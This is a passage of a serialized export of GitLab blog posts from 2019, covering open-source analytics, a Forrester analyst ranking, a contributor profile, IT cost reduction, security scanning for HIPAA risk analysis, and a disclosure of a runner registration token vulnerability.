want to highlight is the idea that the actual code that you use for analytics isn't your company's competitive advantage.\n\nYou could know exactly how we move, store, model, and analyze our data, and its utility for a\ncompetitor would primarily be to get their own analytics off the ground.\nThe real value is the data itself and the decisions people make from the results of your analyses.\nWe, of course, protect our data and our customers' data, but there's no reason why people\nshouldn't be able to see how we _use_ that data to make decisions. And, being a transparent company,\nwe're very open about the decisions we make as well.\n\nOverall, we're seeing the same transformation that software engineering underwent with the [DevOps\nmovement](/topics/devops/) happen in the analytics world, only with about a five-year lag.\nMore open source tools are being created for data teams every day, and more people are sharing\nhow they build their stacks and analyze their data. At GitLab, we're betting that our [core values](https://handbook.gitlab.com/handbook/values/)\ncan bring emergent positive benefits to every part of a company, including data teams!\nWe look forward to collaborating with you as this industry changes and grows!\n",[267,676,815],{"slug":29936,"featured":6,"template":678},"open-source-analytics","content:en-us:blog:open-source-analytics.yml","Open Source Analytics","en-us/blog/open-source-analytics.yml","en-us/blog/open-source-analytics",{"_path":29942,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29943,"content":29948,"config":29954,"_id":29956,"_type":16,"title":29957,"_source":17,"_file":29958,"_stem":29959,"_extension":20},"/en-us/blog/gitlab-is-an-sca-contender",{"title":29944,"description":29945,"ogTitle":29944,"ogDescription":29945,"noIndex":6,"ogImage":16083,"ogUrl":29946,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29946,"schema":29947},"Forrester names GitLab challenger in software composition","GitLab has been recognized by analysts as a challenger in Software Composition Analysis.","https://about.gitlab.com/blog/gitlab-is-an-sca-contender","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab is named a Challenger in The Forrester Wave™: Software Composition Analysis, Q2 2019\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cindy Blake\"}],\n        \"datePublished\": \"2019-04-12\",\n      }",{"title":29949,"description":29945,"authors":29950,"heroImage":16083,"date":29951,"body":29952,"category":299,"tags":29953},"GitLab is named a Challenger in The Forrester Wave™: Software Composition Analysis, Q2 2019",[12479],"2019-04-12","\n\nWhile GitLab is best known in the traditional DevOps space, we have also begun to grow out our expertise in application security, which may come as a [surprise to security professionals](https://www.linkedin.com/pulse/ciso-cheat-sheet-git-cindy-blake-cissp), who may not have encountered us previously. We may have started out focused on traditional developer tools, however, as GitLab has added capabilities to cover the entire Software Development\nLifecycle (SDLC), this now includes not only a market-leading [Continuous Integration](/blog/gitlab-leader-continuous-integration-forrester-wave/)\nsolution but also, more recently, integrated [application security testing built into the CI/CD pipeline](/solutions/security-compliance/).\nOur single, end-to-end application enables security testing that is tightly aligned to today’s\nrapid, [iterative cycles of DevOps](/solutions/security-compliance/) development and the modern\ninfrastructure that accompanies cloud native applications.\n\n## Who was included?\n\nFor The Forrester Wave™: Software Composition Analysis, Q2 2019, participating vendors were required to\nhave most of the following capabilities out of the box:\n- Ability to provide remediation advice on both open source license risk and vulnerabilities;\n- Ability to integrate into SDLC automation tools;\n- Ability to provide proactive vulnerability management;\n- Ability to edit and create policies; and\n- Ability to visually report on open source risk.\n\nParticipating vendors were also required to have more than $10M in revenue and have\ninterest from Forrester clients or relevance to them.\n\n## GitLab is a new challenger\n\nHaving only added security capabilities in December 2017, GitLab has been excluded from\nother analyst application security reports that only look at more established players.\nIn our first official security-oriented analyst evaluation, we are excited not only to get the\nword out about GitLab’s security capabilities, but also to have this opportunity for analyst\nfeedback and insight into how GitLab compares. We take to heart not only areas where we\nshine – but also where improvement is needed. With GitLab,\n“[everyone can contribute](/community/contribute/),” and the feedback gained from\nForrester is another valuable contribution. We also welcome [your participation](/community/contribute/) and invite you to help us\nunderstand what you would like to see as our security capabilities grow.\n\nBased on this analyst report and analyst interaction feedback, we are already addressing improvement opportunities in our\n[roadmap](/direction/secure/#upcoming-releases) and [vision](/direction/secure/#direction).\n\n**Check out our [complete SCA response](/analysts/forrester-sca/) for links to specific updates and response comments.**\n\nAs a company dedicated to releasing incrementally, delivering first on breadth and then\non depth, it is not uncommon for GitLab to initially place in more of a challenger position,\nas our feature set generally does not have the same maturity as established players in the space.\nHowever, when GitLab enters a space, we do so boldly, with clear intentions and a solid strategy.\nGitLab’s strategy for application security testing and software composition analysis focuses\nmore equally on both the developer and the security professional than traditional solutions.\nYou will find some areas in strategy where we were not scored as highly as we believe we\nshould be, due to our more aggressive focus on development.\n\n## Updates since the evaluation\n\nGitLab has shipped a [major new release every month](/releases/categories/releases/)\nfor 90 consecutive months. Forrester evaluated GitLab 11.6 for this report while versions\n[11.7](/releases/2019/01/22/gitlab-11-7-released/), [11.8](/releases/2019/02/22/gitlab-11-8-released/), and\n[11.9](/releases/2019/03/22/gitlab-11-9-released/) have since been released. You will find several features\nthat Forrester felt were lacking have already been added, including improvements to the\nsecurity dashboard, additional languages added to SAST scanning, and secrets detection.\nWhen using Forrester’s scoring tool, be sure to adjust the criteria for our current capabilities.\nA list of what’s been added since Forrester’s evaluation can be found on our [complete SCA response](/analysts/forrester-sca/).\n\n## Forrester’s key takeaway: “Remediation, policy management, and reporting are key differentiators”\n\nForrester says, “As developers continue to use open source to accelerate the release of new\napplication functionality, remediation, policy management, and reporting will dictate which\nproviders will lead the pack. Vendors that can provide developers with remediation advice\nand even create patches position themselves to significantly reduce business risk.”\n\nThis takeaway is closely aligned with GitLab's [vision for application security testing](/direction/secure/#direction)\nand our work in progress for [auto remediation](https://gitlab.com/groups/gitlab-org/-/epics/133). While not available in the evaluated version (11.6), today’s GA release, (11.9), [can detect a more current patch available](/releases/2019/03/22/gitlab-11-9-released/#vulnerability-remediation-merge-request) and\nenable the developer to create a [new branch and apply the patch](https://docs.gitlab.com/ee/user/application_security/security_dashboard/#create-a-merge-request-from-a-vulnerability)\nwith one click. Upcoming versions will [automatically run the pipeline and present the results](https://gitlab.com/groups/gitlab-org/-/epics/275) to the developer to accept or reject.\nBy automating remediations that are readily apparent, developers and security can focus on\nvulnerabilities whose remediation is not as straightforward.\n\nThe fact that GitLab is a [single application](/) for the entire SDLC enables us to take\nremediation even further – actually running the pipeline in a separate branch,\neven [measuring the performance impact](https://gitlab.com/gitlab-org/gitlab-ee/issues/9382)\nof the patch. We isolate the cause and effect: the developer makes a code change, that code is\ntested and they see the results before merging the code with others’. It also allows us to do [Dynamic scanning](https://docs.gitlab.com/ee/user/application_security/dast/) in the same manner, before the\ncode is merged with anyone else’s. We do this by spinning up a\n[review app](https://docs.gitlab.com/ee/ci/review_apps/) in the pipeline report.\nThis fully functioning app reflects the developer’s code changes and can be used for user testing,\nperformance testing, and dynamic app security scanning.\n\n## GitLab's advice\n\nWe believe GitLab is ideal for enterprises who are:\n\n* Using GitLab for CI/CD.\n* Practicing iterative development via DevOps.\n* Using containers and serverless.\n\nFor the enterprise that has not invested in app sec tools, GitLab can quickly provide\nscanning, often necessary for regulatory compliance, with a single application.\nGitLab offers SAST, DAST, Dependency, Container Scanning, and License Management [with one app](/stages-devops-lifecycle/application-security-testing/) – no need to evaluate and buy from multiple vendors, then stitch together integration with the DevOps toolchain. In fact, GitLab customer, [Glympse Inc.](https://glympse.com/),\nstood up 40 repos with automated security testing, using all of the GitLab scans, in less time\nthan they could have installed just the individual tools – and as a bonus, they impressed their\nauditors with their process.\n\nFor the enterprise already deeply invested in traditional app sec tools, GitLab affords a\nbroader and [earlier scanning effort](/solutions/security-compliance/), using a tool that\ndevelopers are already using. GitLab can scan every code change, much the way that\nevery airplane passenger gets scanned through security. Save the deeper scans for\nlater and/or less frequent evaluation by the security team. Consider using GitLab on select\nprojects to experience the more efficient workflow and potentially reduce your scanning costs from costlier tools.\n\n## Our response\n\n We invite you to see our [complete response](/analysts/forrester-sca/), and as always, welcome\n [your contributions](/community/contribute/)!\n\n Cover image by [Scott Webb](https://unsplash.com/@scottwebb) on [Unsplash](https://unsplash.com/photos/yekGLpc3vro)\n{: .note}\n",[3949,676,815,736,674,942],{"slug":29955,"featured":6,"template":678},"gitlab-is-an-sca-contender","content:en-us:blog:gitlab-is-an-sca-contender.yml","Gitlab Is An Sca Contender","en-us/blog/gitlab-is-an-sca-contender.yml","en-us/blog/gitlab-is-an-sca-contender",{"_path":29961,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29962,"content":29967,"config":29971,"_id":29973,"_type":16,"title":29974,"_source":17,"_file":29975,"_stem":29976,"_extension":20},"/en-us/blog/marcel-amirault-contributor-post",{"title":29963,"description":29964,"ogTitle":29963,"ogDescription":29964,"noIndex":6,"ogImage":26117,"ogUrl":29965,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29965,"schema":29966},"GitLab Code Contributor: Marcel Amirault","Recent MVP Marcel Amirault shares why he started contributing to GitLab.","https://about.gitlab.com/blog/marcel-amirault-contributor-post","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Code Contributor: Marcel Amirault\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2019-04-12\",\n      }",{"title":29963,"description":29964,"authors":29968,"heroImage":26117,"date":29951,"body":29969,"category":813,"tags":29970},[21623],"\n\nI'm excited to continue the [series of GitLab contributor blog posts](/blog/tags.html#contributors)\nwith [Marcel Amirault](https://gitlab.com/Ravlen), [the MVP for the 11.9 release](/community/mvp/).\nLet's get to know more about him!\n\n### Can you tell us where you live and share anything interesting about your area?\n\nI'm originally from Halifax, in eastern Canada, but I now live in [Kagoshima, Japan](https://www.google.com/maps/place/Kagoshima,+Japan/@31.523208,130.2782569,10z/data=!3m1!4b1!4m5!3m4!1s0x353e615200e3c53d:0x9adcfdad5d5c5885!8m2!3d31.5968539!4d130.5571392) (and yes, I have seen wild tanuki!).\nKagoshima is famous for being right next to one of the world's most active volcanos, Sakurajima,\nwhich regularly dusts the city in ash. You have to keep an eye on the wind before you decide\nto put out your laundry, or else you'll have some ashy-grey clothes pretty quickly.\nIt's also known for inspiring some famous movies. Hometown hero Saigō Takamori and the\nlocal Satsuma clan were the inspirations for \"The Last Samurai,\" and Yakushima Island was\nthe inspiration for the forest in \"Princess Mononoke.\"\n\n![Picture of Sakurajima](https://about.gitlab.com/images/blogimages/Marcel-blogpost/kagoshima.png){: .shadow.small.center}\n*\u003Ccenter>\u003Csmall>Sakurajima in the distance\u003C/small>\u003C/center>*\n\n### Can you tell us what you do professionally?\n\nOriginally, I worked in IT Support, peaking as a Network Technician at a telecom company\nin eastern Canada. I loved the job, but I wanted to live abroad for a while before settling into my career.\nI decided to teach English in Japan \"for six months,\" but fell in love with the country and have\nbeen here ever since. I currently teach English as a second language to Japanese students, and\nhave taught all ages and types of students over the years. I write, proofread, and teach curricula\nfor various types of students, ranging from people preparing for their first trip abroad, to seminars\nin hospitals for medical professionals. From time to time I proofread documents brought to me,\nsuch as applications to international programs, or scientific papers being prepared for submission for peer review.\n\n![Marcel in the classroom](https://about.gitlab.com/images/blogimages/Marcel-blogpost/marcel-teaching.jpg){: .shadow.small.center}\n\n### When did you first contribute to GitLab and why did you decide to contribute?\n\nAbout a year ago, I started a Rails course to try to get back into the IT world, and needed to\nchoose a place to store my Git repo. A friend suggested GitLab, and I dove right in.\nWhile reading the documentation, I sometimes found small mistakes that the English teacher\nin me couldn't ignore, so I started submitting MRs for small things like typos or obvious grammar mistakes.\nIn fact, [my first MR](https://gitlab.com/gitlab-com/www-gitlab-com/merge_requests/11848) was to correct grammar.\nFrom there, the MRs got a little bigger, and a little more involved, and it's something I enjoy doing when things are slow at work.\n\n### What was the most difficult part of contributing for you in the beginning?\n\nThere was no significant hurdle to starting, because contributing to documentation was not\nintimidating at all, and I never had to worry about complicated reviews.\nWhen I first submitted a small change to the language in a section of the UI though, I suddenly\nhad a lot of reviews and suggestions, and started to realize how a small change could have a large impact.\nUnderstanding the impact that one person could have on a major project was something I had to learn.\nThankfully, a lot of GitLab team-members offered help and explained things for me, which I really appreciated.\n\n### Which areas of GitLab have you contributed to most and how do you find issues that you want to work on?\n\nUpdating technical documentation was a natural fit for me. I enjoy learning, so I frequently\nread the GitLab documentation, but my \"English teacher eyes\" can't ignore language that can be improved.\nI take advantage of free time at work, and I'm fortunate to have free access to computers and\na flexible boss (as long as my lesson quality is maintained). As a result, I'm often able to fill\nthe gaps between lessons by working on documentation issues. When I'm struggling to stay\nawake because my kids kept me up at night and I have a gap in my schedule, working on an\ninteresting bit of documentation wakes me up as much as a strong cup of coffee!\nI usually find documentation that can be improved on my own as I read through, but I\nsometimes search for [`Accepting Merge Requests` issues for Documentation](https://gitlab.com/gitlab-org/gitlab-ce/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=Accepting%20merge%20requests&label_name[]=Documentation) if I need a new project to work on. Recently I have given myself \"challenges,\"\nlike \"Find ALL examples of a certain grammar mistake project wide, and fix them\" or\n\"Find ALL examples where CE and EE documentation have diverged accidentally, and realign them when possible.\"\n\n### What do you enjoy doing when you're not working?\n\nI like doing home improvements when I can, and really like outdoor carpentry like putting up\nfences or wooden decks. I'm a big fan of hiking and camping, but it has been hard to get out\nto camping places in the past few years as my kids are still young. We are hoping to bring them\non their second ever camping trip this spring/summer. Finally, my friends and I try to get together\nabout once every month or two for poker or board gaming. Some of my favorite games are\nSettlers of Catan, Carcassonne, Puerto Rico, Pandemic, San Juan, and Guillotine.\n\n![Marcel and his children](https://about.gitlab.com/images/blogimages/Marcel-blogpost/marcel-family.png){: .shadow.small.center}\n\n### What advice do you have for others who may be interested in contributing to GitLab?\n\nDon't be shy! If you are worried about your contribution, feel free to make your MR a [draft](https://docs.gitlab.com/ee/user/project/merge_requests/drafts.html)\n(document last updated by me! 😉), and ask for help. Everyone is super friendly and always willing to give advice!\n\n### Interested in learning how you can contribute?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can learn\nhow you can contribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at rpaik@gitlab.com.\n\n_Note: This post is part of [a series featuring people who contribute to GitLab](/blog/tags.html#contributors)._\n",[267,2368,815,2704],{"slug":29972,"featured":6,"template":678},"marcel-amirault-contributor-post","content:en-us:blog:marcel-amirault-contributor-post.yml","Marcel Amirault Contributor Post","en-us/blog/marcel-amirault-contributor-post.yml","en-us/blog/marcel-amirault-contributor-post",{"_path":29978,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29979,"content":29985,"config":29990,"_id":29992,"_type":16,"title":29993,"_source":17,"_file":29994,"_stem":29995,"_extension":20},"/en-us/blog/reduce-it-costs",{"title":29980,"description":29981,"ogTitle":29980,"ogDescription":29981,"noIndex":6,"ogImage":29982,"ogUrl":29983,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29983,"schema":29984},"How to reduce IT costs","Four ways organizations can spend less on IT and more on innovation.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680558/Blog/Hero%20Images/reduce-it-costs.jpg","https://about.gitlab.com/blog/reduce-it-costs","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to reduce IT costs\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-04-11\",\n      }",{"title":29980,"description":29981,"authors":29986,"heroImage":29982,"date":29987,"body":29988,"category":8943,"tags":29989},[18462],"2019-04-11","\n\nEfficient organizations do _more_ with _less_ – it's just simple math, really.\nBut even as teams try to stay lean and agile, some IT budgets are anything but. In a [recent survey that analyzed IT spending](https://searchcio.techtarget.com/magazineContent/How-Company-Size-Relates-to-IT-Spending)\nbased on company size, small companies spend on average 6.9 percent of their revenue on IT\n(enterprise spending is usually around 3 percent). Out of this IT spending, [more than 70 percent goes toward maintenance](https://phoenixnap.com/blog/it-cost-reduction-strategy) – just keeping things running.\n\nIT cost reduction could help fund the innovations all companies need to stay competitive,\nbut therein lies the problem. How do you prioritize what stays and what goes when _everything_ feels important?\nReducing IT costs doesn't happen in a vacuum – teams across the organization depend on these decisions.\n\n## Where do I start?\n\n### Reduce on-premise IT\n\n[On-premise IT has several costs](https://ianmartin.com/10-strategies-top-cios-use-reduce-costs/):\nthe servers themselves, power and cooling, staff to maintain them, software licenses, and the\nadditional leased space needed to house it all. [Virtualization hosts multiple virtual instances](https://www.bmc.com/blogs/6-ways-reduce-ongoing-maintenance-management-costs/)\n(Virtual Machines, VMs) of an operating environment on the same machine, reducing the\nnumber of physical servers needed. Virtual environments offer more flexibility, containers\nthat run independently, and fewer costs over the long term.\nTaking on cloud-based architecture embodies doing more with less.\n\n### Evaluate toolchain-management costs\n\nThose that spend more on their IT needs aren't typically the top performers – they just have more stuff.\nEvery application and plugin creates another potential point of failure, and added complexity\nalmost always spoils the efficiency party. Those in charge of IT have to keep up with more\nmaintenance, more patches, more logins, which in turn leads to more IT staff and even more\ncomplexity. Look at your toolchain – plugins, applications, and licenses – and evaluate the costs.\nSeveral \"inexpensive\" licenses that look harmless in micro add up quickly in macro.\nThis doesn't even factor the ongoing costs (upgrades, management, additional staff).\n\nSo much are you paying for your toolchain? We created this handy calculator that shows the\nannual cost for 100 users using some of the most common DevOps tools.\n\n[How much is your toolchain?](/calculator/roi/)\n{: .alert .alert-gitlab-purple .text-center}\n\n### Follow best practices to reduce downtime\n\nDowntime is every team's tech nightmare. It's estimated that [the cost of downtime for an\naverage-sized company is over $7,000 per minute](https://www.datafoundry.com/blog/6-cost-reduction-strategies-enterprise-IT)\n(yikes), and it can have far-reaching implications: worse customer relationships, employee turnover,\nand it can scare off investors, just to name a few.\nWhen facing a budget crunch, it might seem minor to skimp on a few steps when you're confident\nof the outcomes, but doing it right the first time saves much more in the long run.\nFollowing best practices like user testing and code reviews takes time up front, but they lower the chance of costly mistakes.\n\n### Modernize applications and migrate to lower-cost infrastructures\n\nConsolidating tools and an aggressive approach to application modernization are going to\nbe the greatest opportunities for enterprises to save budget dollars.\nA recent survey of top enterprise architects found that [36 percent cited application rationalization as the primary initiative they're working on](https://www.itbusinessedge.com/slideshows/show.aspx?c=93453).\nAnother survey of 250 senior IT executives found that 58 percent of them said\n[the best way to cut IT costs was to modernize or migrate existing applications to a lower-cost IT infrastructure](https://www.itbusinessedge.com/cm/blogs/vizard/application-modernization-tops-it-agenda/?cs=41480).\n\nReducing IT costs is essential for scale and funding innovations that keep organizations competitive,\nbut making the right cuts requires prioritization. For savings in the long term keep these four objectives in mind:\n\n*   Reduce on-premise IT.\n*   Evaluate toolchain-management costs.\n*   Follow best practices to reduce downtime.\n*   Modernize applications and migrate to lower-cost infrastructures.\n\nIT cost reduction directly correlates to increased revenue, but it isn't always easy. It just requires a little commitment.\n\n[Just commit.](/blog/application-modernization-best-practices/)\n{: .alert .alert-gitlab-purple .text-center}\n\nCover image by [Thomas Jensen](https://unsplash.com/photos/qTEj-KMMq_Q?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/computer-servers?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[3949,4103],{"slug":29991,"featured":6,"template":678},"reduce-it-costs","content:en-us:blog:reduce-it-costs.yml","Reduce It Costs","en-us/blog/reduce-it-costs.yml","en-us/blog/reduce-it-costs",{"_path":29997,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29998,"content":30004,"config":30009,"_id":30011,"_type":16,"title":30012,"_source":17,"_file":30013,"_stem":30014,"_extension":20},"/en-us/blog/gitlab-security-tools-and-the-hipaa-risk-analysis",{"title":29999,"description":30000,"ogTitle":29999,"ogDescription":30000,"noIndex":6,"ogImage":30001,"ogUrl":30002,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30002,"schema":30003},"GitLab's security tools and the HIPAA risk analysis","A closer look at GitLab’s security scanning tools and the HIPAA risk analysis.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680548/Blog/Hero%20Images/gitlab-security-and-hipaa-risk-analysis.jpg","https://about.gitlab.com/blog/gitlab-security-tools-and-the-hipaa-risk-analysis","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's security tools and the HIPAA risk analysis\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Luka Trbojevic\"}],\n        \"datePublished\": \"2019-04-10\",\n      }",{"title":29999,"description":30000,"authors":30005,"heroImage":30001,"date":30006,"body":30007,"category":674,"tags":30008},[28025],"2019-04-10","\n\nThe importance of the HIPAA risk analysis (45 CFR § 164.308(a)(1)(ii)(A)) can’t be overstated.\nThe Office for Civil Rights (OCR) announced 2018 was an [all-time record year for HIPAA enforcement](https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/2018enforcement/index.html),\nand an incomplete risk analysis or inadequate follow-up on findings were cited in three of the major breaches.\n\nDigitization of healthcare is moving faster than ever. From patient portals to patient-reported\noutcomes platform, there’s an application for just about everything. But as we adjust our pace\nof building and innovating in this digital healthcare era, we must quickly recalibrate our pace\nof identifying risks and vulnerabilities in our software.\n\nYou may already know, GitLab is a single tool for the entire DevOps lifecycle, from project planning\nto deployment. But it’s also a powerful security tool that can add automated vulnerability scanning\nto your development process.\n\nLet’s take a closer look.\n\n## Using Static Application Security Testing to identify vulnerabilities in source code\n\nUsing [Static Application Security Testing](https://docs.gitlab.com/ee/user/application_security/sast/)\n(SAST), you can identify vulnerabilities in your source code. Setting up SAST is easy – you can\neither include the [SAST CI job](https://docs.gitlab.com/ee/user/application_security/sast/) or use\n[Auto SAST](https://docs.gitlab.com/ee/topics/autodevops/index.html#auto-sast).\nAfter that’s done, and every time the job is run, your source code will be scanned.\nWhen the scan is done, the results are [displayed right on the merge request](https://docs.gitlab.com/ee/user/application_security/sast/#how-it-works).\nAnd when you go to any pipeline with a SAST job, you’ll be shown a [security report](https://docs.gitlab.com/ee/user/application_security/sast/#security-report-under-pipelines) with the findings.\n\n## Using Dynamic Application Security Testing to identify vulnerabilities in web applications\n\nUnlike SAST, which scans source code for vulnerabilities, [Dynamic Application Security Testing](https://docs.gitlab.com/ee/user/application_security/dast/) (DAST) analyzes\nrunning web applications for vulnerabilities. It’s just as simple to set up as SAST – simply add\na DAST CI/CD job to your pipeline. DAST will also [display the findings directly in the merge request](https://docs.gitlab.com/ee/user/application_security/dast/#how-it-works)\nand create a [report artifact](https://docs.gitlab.com/ee/ci/yaml/#artifactsreportsdast).\n\n## Container Scanning\n\nIf you use Docker, you can use [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/)\nto scan your Docker images for vulnerabilities. This is again as simple as adding a [Container Scanning CI/CD job](https://docs.gitlab.com/ee/user/application_security/container_scanning/#configuring-with-templates) to your pipeline!\nThe scan will generate a [report artifact](https://docs.gitlab.com/ee/ci/yaml/#artifactsreportscontainer_scanning) you can download and review.\n\n## Secret Detection\n\nThe risk analysis standard requires both risks and vulnerabilities. One common risk is for secrets\n(API keys and passwords, for example) to be inadvertently leaked. To address that problem,\nwe’re working on [Secret Detection](https://gitlab.com/groups/gitlab-org/-/epics/675).\nIt’ll check files and configurations to identify potentially sensitive information, running every\ntime a commit is pushed to a branch.\n\n## Coming soon: Even more tools to assess risks and vulnerabilities\n\nIn the coming year we’ll be adding a number of product categories to our Secure stage to help\nimprove your application’s security and find more vulnerabilities. Here’s what you can look forward to:\n\n### Digging deeper for application vulnerabilities: Interactive Application Security Testing\n\n[Interactive Application Security Testing](https://gitlab.com/groups/gitlab-org/-/epics/344) (IAST)\nassesses an application’s response to an external security scan (like DAST) to identify vulnerabilities\nthat wouldn’t be caught by just the external scan. When this feature is complete, it’ll add yet\nanother layer of vulnerability detection to DAST.\n\n### Fuzzing\n\nAnother way to find application vulnerabilities is to generate random inputs and send them\nto the application. By doing this, you can find unintended behaviors in the application that\nmay result in a vulnerability. While fuzzing is often a niche technique, we’re\n[working on adding basic fuzzing capability straight into GitLab](https://gitlab.com/groups/gitlab-org/-/epics/818)!\n\n## Putting it all together\n\nToday, with GitLab, you can:\n\n* Identify vulnerabilities in your source code using SAST.\n* Identify vulnerabilities in your web application using DAST.\n* Identify vulnerabilities in your Docker containers using Container Scanning.\n* Scan for passwords, API keys, and other sensitive information with Secrets Detection.\n\nIn the near future, with GitLab, you’ll be able to:\n\n* Identify vulnerabilities in your application using IAST.\n* Identify vulnerabilities in your application with fuzzing.\n\n## Closing thoughts\n\nWhether you’re a four-person startup making the next groundbreaking healthcare analytics platform,\nor an academic medical center developing health applications, having security visibility where\nit didn’t exist previously is a good thing. And having that visibility incorporated directly into\nyour development process with minimal work and seamless integration is even better.\n\nWith GitLab’s security features you can incorporate automated vulnerability detection straight\ninto your development process. While the risk analysis requirement goes beyond just the software\nyou’re writing, as you write more code faster, automating part of the software security portion can only help.\n\n### Disclaimer\n\nTHE INFORMATION PROVIDED ON THIS WEBSITE IS TO BE USED FOR INFORMATIONAL PURPOSES ONLY. THE INFORMATION SHOULD NOT BE RELIED UPON OR CONSTRUED AS LEGAL OR COMPLIANCE ADVICE OR OPINIONS. THE INFORMATION IS NOT COMPREHENSIVE AND WILL NOT GUARANTEE COMPLIANCE WITH ANY REGULATION OR INDUSTRY STANDARD. YOU MUST NOT RELY ON THE INFORMATION FOUND ON THIS WEBSITE AS AN ALTERNATIVE TO SEEKING PROFESSIONAL ADVICE FROM YOUR ATTORNEY AND/OR COMPLIANCE PROFESSIONAL.\n{: .note}\n\nCover image by [rawpixel.com](https://www.pexels.com/@rawpixel?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/clinician-writing-medical-report-1919236/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n",[674,774,1444],{"slug":30010,"featured":6,"template":678},"gitlab-security-tools-and-the-hipaa-risk-analysis","content:en-us:blog:gitlab-security-tools-and-the-hipaa-risk-analysis.yml","Gitlab Security Tools And The Hipaa Risk Analysis","en-us/blog/gitlab-security-tools-and-the-hipaa-risk-analysis.yml","en-us/blog/gitlab-security-tools-and-the-hipaa-risk-analysis",{"_path":30016,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30017,"content":30022,"config":30026,"_id":30028,"_type":16,"title":30018,"_source":17,"_file":30029,"_stem":30030,"_extension":20},"/en-us/blog/group-runner-registration-token-vulnerability",{"title":30018,"description":30019,"ogTitle":30018,"ogDescription":30019,"noIndex":6,"ogImage":3431,"ogUrl":30020,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30020,"schema":30021},"Group Runner Registration Token Vulnerability","How we responded to a vulnerability in group runner registration tokens.","https://about.gitlab.com/blog/group-runner-registration-token-vulnerability","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Group Runner Registration Token Vulnerability\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kathy Wang\"}],\n        \"datePublished\": \"2019-04-10\",\n      }",{"title":30018,"description":30019,"authors":30023,"heroImage":3431,"date":30006,"body":30024,"category":674,"tags":30025},[29725],"\n\nIn keeping with GitLab’s [value of transparency](https://handbook.gitlab.com/handbook/values/#transparency) we believe in communicating potential and confirmed security incidents clearly and promptly.  GitLab takes the security and privacy of your data extremely seriously. We will always take the most expedient and effective action to prevent and mitigate security risks, and will strive to use those lessons learned to improve our security posture and protect customer data.\n\n### Background\n\nOn April 5, 2019 we received a submission through our public HackerOne program by [storm_spirit](https://hackerone.com/storm_spirit) describing a vulnerability which exposed Group Runner Registration Tokens. Although there is no evidence to suggest that any projects on GitLab.com have been accessed in an unauthorized manner, we took the action to reset all group registration tokens on GitLab.com earlier this week. For GitLab.com customers, no further action is required. For self-managed customers, please see the Action Required section below for further instructions.\n\n### Response and mitigation\n\nFollowing analysis of the vulnerability and impacted areas of GitLab, a patch was deployed to GitLab.com on April 8, 2019 and between 09:00 - 09:40 UTC and the Group Runner Registration Tokens were reset for all groups hosted on GitLab.com.  The results of this deployment allowed us to validate the fix and confidently include it as part of the [GitLab Enterprise Edition (EE) 11.9.7, 11.8.7, and 11.7.11 critical security releases](/releases/2019/04/10/critical-security-release-gitlab-11-dot-9-dot-7-released/).\n\nIn parallel to the analysis, an investigation found no evidence to suggest any projects on GitLab.com had been compromised as a result of this vulnerability. We will continue to monitor for any related impact on GitLab.com.\n\n### Action Required\n\nWe strongly recommend all self-managed instances of GitLab Enterprise Edition to be upgraded to 11.9.7, 11.8.7, or 11.7.11 to resolve this vulnerability.\n\nSelf-managed instances of GitLab Community Edition are not affected by this vulnerability and no further action is required.\n\nGitlab.com users are no longer at risk to the vulnerability following the April 8th patch and no action is required. If you are experiencing issues with Runners related to Registration Tokens, we encourage you to review our [Runner documentation](https://docs.gitlab.com/ee/ci/runners/) or contact [GitLab Support](https://support.gitlab.com) for further assistance.\n",[674],{"slug":30027,"featured":6,"template":678},"group-runner-registration-token-vulnerability","content:en-us:blog:group-runner-registration-token-vulnerability.yml","en-us/blog/group-runner-registration-token-vulnerability.yml","en-us/blog/group-runner-registration-token-vulnerability",{"_path":30032,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30033,"content":30038,"config":30043,"_id":30045,"_type":16,"title":30046,"_source":17,"_file":30047,"_stem":30048,"_extension":20},"/en-us/blog/why-improving-continuously-speeds-up-delivery",{"title":30034,"description":30035,"ogTitle":30034,"ogDescription":30035,"noIndex":6,"ogImage":29685,"ogUrl":30036,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30036,"schema":30037},"Why improving continuously speeds up delivery","How do you keep pace with rapid changes in technology? The answer is continuous improvement.","https://about.gitlab.com/blog/why-improving-continuously-speeds-up-delivery","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why improving continuously speeds up delivery\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John 